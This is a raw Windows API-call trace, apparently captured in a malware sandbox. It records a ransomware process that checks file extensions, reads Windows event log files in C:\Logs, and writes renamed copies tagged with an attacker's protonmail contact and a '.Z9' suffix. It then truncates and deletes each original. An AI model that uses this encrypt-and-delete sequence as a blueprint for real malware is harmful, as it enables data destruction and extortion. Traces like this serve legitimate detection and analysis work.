	[0082.039] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.039] lstrlenW (lpString=".pdf") returned 4
	[0082.039] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.039] lstrlenW (lpString=".xls") returned 4
	[0082.039] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.039] lstrlenW (lpString=".xlsx") returned 5
	[0082.039] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.039] lstrlenW (lpString=".ppt") returned 4
	[0082.039] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.039] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.039] lstrlenW (lpString=".zip") returned 4
	[0082.039] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString=".rar") returned 4
	[0082.040] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString=".bz2") returned 4
	[0082.040] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString=".7z") returned 3
	[0082.040] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.040] lstrlenW (lpString=".dbf") returned 4
	[0082.040] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.040] lstrlenW (lpString=".1cd") returned 4
	[0082.040] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.040] lstrlenW (lpString=".jpg") returned 4
	[0082.040] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.040] lstrlenW (lpString=".doc") returned 4
	[0082.040] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString=".docx") returned 5
	[0082.040] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.040] lstrlenW (lpString=".pdf") returned 4
	[0082.040] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString=".xls") returned 4
	[0082.040] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString=".xlsx") returned 5
	[0082.040] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.040] lstrlenW (lpString=".ppt") returned 4
	[0082.040] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.040] lstrlenW (lpString=".zip") returned 4
	[0082.040] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString=".rar") returned 4
	[0082.040] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.040] lstrlenW (lpString=".bz2") returned 4
	[0082.041] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.041] lstrlenW (lpString=".7z") returned 3
	[0082.041] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.041] lstrlenW (lpString=".dbf") returned 4
	[0082.041] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.041] lstrlenW (lpString=".1cd") returned 4
	[0082.041] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.041] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0082.041] lstrlenW (lpString=".jpg") returned 4
	[0082.041] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.041] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.041] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40
	[0082.041] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.041] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0082.041] CloseHandle (hObject=0x360) returned 1
	[0082.041] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20
	[0082.041] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.041] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.042] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.042] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.042] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.065] GetLastError () returned 0x0
	[0082.065] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.077] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.082] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.082] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x124, lpOverlapped=0x0) returned 1
	[0082.082] SetEndOfFile (hFile=0x358) returned 1
	[0082.082] CloseHandle (hObject=0x358) returned 1
	[0082.087] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.087] SetEndOfFile (hFile=0x360) returned 1
	[0082.088] CloseHandle (hObject=0x360) returned 1
	[0082.088] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.088] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1
	[0082.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.089] lstrlenW (lpString=".doc") returned 4
	[0082.089] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.089] lstrlenW (lpString=".docx") returned 5
	[0082.089] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.089] lstrlenW (lpString=".pdf") returned 4
	[0082.089] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.089] lstrlenW (lpString=".xls") returned 4
	[0082.089] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.089] lstrlenW (lpString=".xlsx") returned 5
	[0082.089] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.089] lstrlenW (lpString=".ppt") returned 4
	[0082.089] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.089] lstrlenW (lpString=".zip") returned 4
	[0082.089] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.089] lstrlenW (lpString=".rar") returned 4
	[0082.089] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.089] lstrlenW (lpString=".bz2") returned 4
	[0082.089] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.089] lstrlenW (lpString=".7z") returned 3
	[0082.089] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.089] lstrlenW (lpString=".dbf") returned 4
	[0082.090] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.090] lstrlenW (lpString=".1cd") returned 4
	[0082.090] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.090] lstrlenW (lpString=".jpg") returned 4
	[0082.090] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.090] lstrlenW (lpString=".doc") returned 4
	[0082.090] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString=".docx") returned 5
	[0082.090] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.090] lstrlenW (lpString=".pdf") returned 4
	[0082.090] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString=".xls") returned 4
	[0082.090] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString=".xlsx") returned 5
	[0082.090] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.090] lstrlenW (lpString=".ppt") returned 4
	[0082.090] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.090] lstrlenW (lpString=".zip") returned 4
	[0082.090] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString=".rar") returned 4
	[0082.090] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString=".bz2") returned 4
	[0082.090] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString=".7z") returned 3
	[0082.090] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.090] lstrlenW (lpString=".dbf") returned 4
	[0082.090] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.090] lstrlenW (lpString=".1cd") returned 4
	[0082.090] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.091] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0082.091] lstrlenW (lpString=".jpg") returned 4
	[0082.091] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.091] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.091] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32
	[0082.091] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.091] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0082.091] CloseHandle (hObject=0x360) returned 1
	[0082.091] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20
	[0082.091] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.091] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.091] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.091] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.092] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.092] GetLastError () returned 0x0
	[0082.092] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.095] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.097] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.097] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x114, lpOverlapped=0x0) returned 1
	[0082.097] SetEndOfFile (hFile=0x358) returned 1
	[0082.097] CloseHandle (hObject=0x358) returned 1
	[0082.099] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.099] SetEndOfFile (hFile=0x360) returned 1
	[0082.100] CloseHandle (hObject=0x360) returned 1
	[0082.100] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.100] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1
	[0082.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.101] lstrlenW (lpString=".doc") returned 4
	[0082.101] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.101] lstrlenW (lpString=".docx") returned 5
	[0082.101] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.101] lstrlenW (lpString=".pdf") returned 4
	[0082.101] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.101] lstrlenW (lpString=".xls") returned 4
	[0082.101] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.101] lstrlenW (lpString=".xlsx") returned 5
	[0082.101] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.101] lstrlenW (lpString=".ppt") returned 4
	[0082.101] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.101] lstrlenW (lpString=".zip") returned 4
	[0082.101] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.101] lstrlenW (lpString=".rar") returned 4
	[0082.101] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.101] lstrlenW (lpString=".bz2") returned 4
	[0082.101] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.101] lstrlenW (lpString=".7z") returned 3
	[0082.101] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.101] lstrlenW (lpString=".dbf") returned 4
	[0082.101] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.101] lstrlenW (lpString=".1cd") returned 4
	[0082.101] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.101] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.101] lstrlenW (lpString=".jpg") returned 4
	[0082.102] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.102] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.102] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.102] lstrlenW (lpString=".doc") returned 4
	[0082.102] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.102] lstrlenW (lpString=".docx") returned 5
	[0082.102] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.102] lstrlenW (lpString=".pdf") returned 4
	[0082.102] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.102] lstrlenW (lpString=".xls") returned 4
	[0082.102] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.102] lstrlenW (lpString=".xlsx") returned 5
	[0082.102] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.102] lstrlenW (lpString=".ppt") returned 4
	[0082.102] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.102] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.102] lstrlenW (lpString=".zip") returned 4
	[0082.102] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.102] lstrlenW (lpString=".rar") returned 4
	[0082.102] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.102] lstrlenW (lpString=".bz2") returned 4
	[0082.102] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.102] lstrlenW (lpString=".7z") returned 3
	[0082.102] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.102] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.102] lstrlenW (lpString=".dbf") returned 4
	[0082.102] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.102] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.102] lstrlenW (lpString=".1cd") returned 4
	[0082.102] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.102] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40
	[0082.102] lstrlenW (lpString=".jpg") returned 4
	[0082.102] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.103] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.103] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74
	[0082.103] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.104] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0082.104] CloseHandle (hObject=0x360) returned 1
	[0082.104] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20
	[0082.104] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.106] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0082.106] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.106] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.106] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0082.106] GetLastError () returned 0x0
	[0082.106] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.120] WriteFile (in: hFile=0x320, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.122] ReadFile (in: hFile=0x358, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.122] WriteFile (in: hFile=0x320, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x168, lpOverlapped=0x0) returned 1
	[0082.122] SetEndOfFile (hFile=0x320) returned 1
	[0082.122] CloseHandle (hObject=0x320) returned 1
	[0082.348] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.348] SetEndOfFile (hFile=0x358) returned 1
	[0082.361] CloseHandle (hObject=0x358) returned 1
	[0082.373] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.373] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1
	[0082.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.385] lstrlenW (lpString=".doc") returned 4
	[0082.385] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.385] lstrlenW (lpString=".docx") returned 5
	[0082.385] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.385] lstrlenW (lpString=".pdf") returned 4
	[0082.385] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.385] lstrlenW (lpString=".xls") returned 4
	[0082.385] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.385] lstrlenW (lpString=".xlsx") returned 5
	[0082.385] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.385] lstrlenW (lpString=".ppt") returned 4
	[0082.385] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.385] lstrlenW (lpString=".zip") returned 4
	[0082.385] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.385] lstrlenW (lpString=".rar") returned 4
	[0082.385] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.385] lstrlenW (lpString=".bz2") returned 4
	[0082.386] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.386] lstrlenW (lpString=".7z") returned 3
	[0082.386] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82
	[0082.386] lstrlenW (lpString=".dbf") returned 4
	[0082.386] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
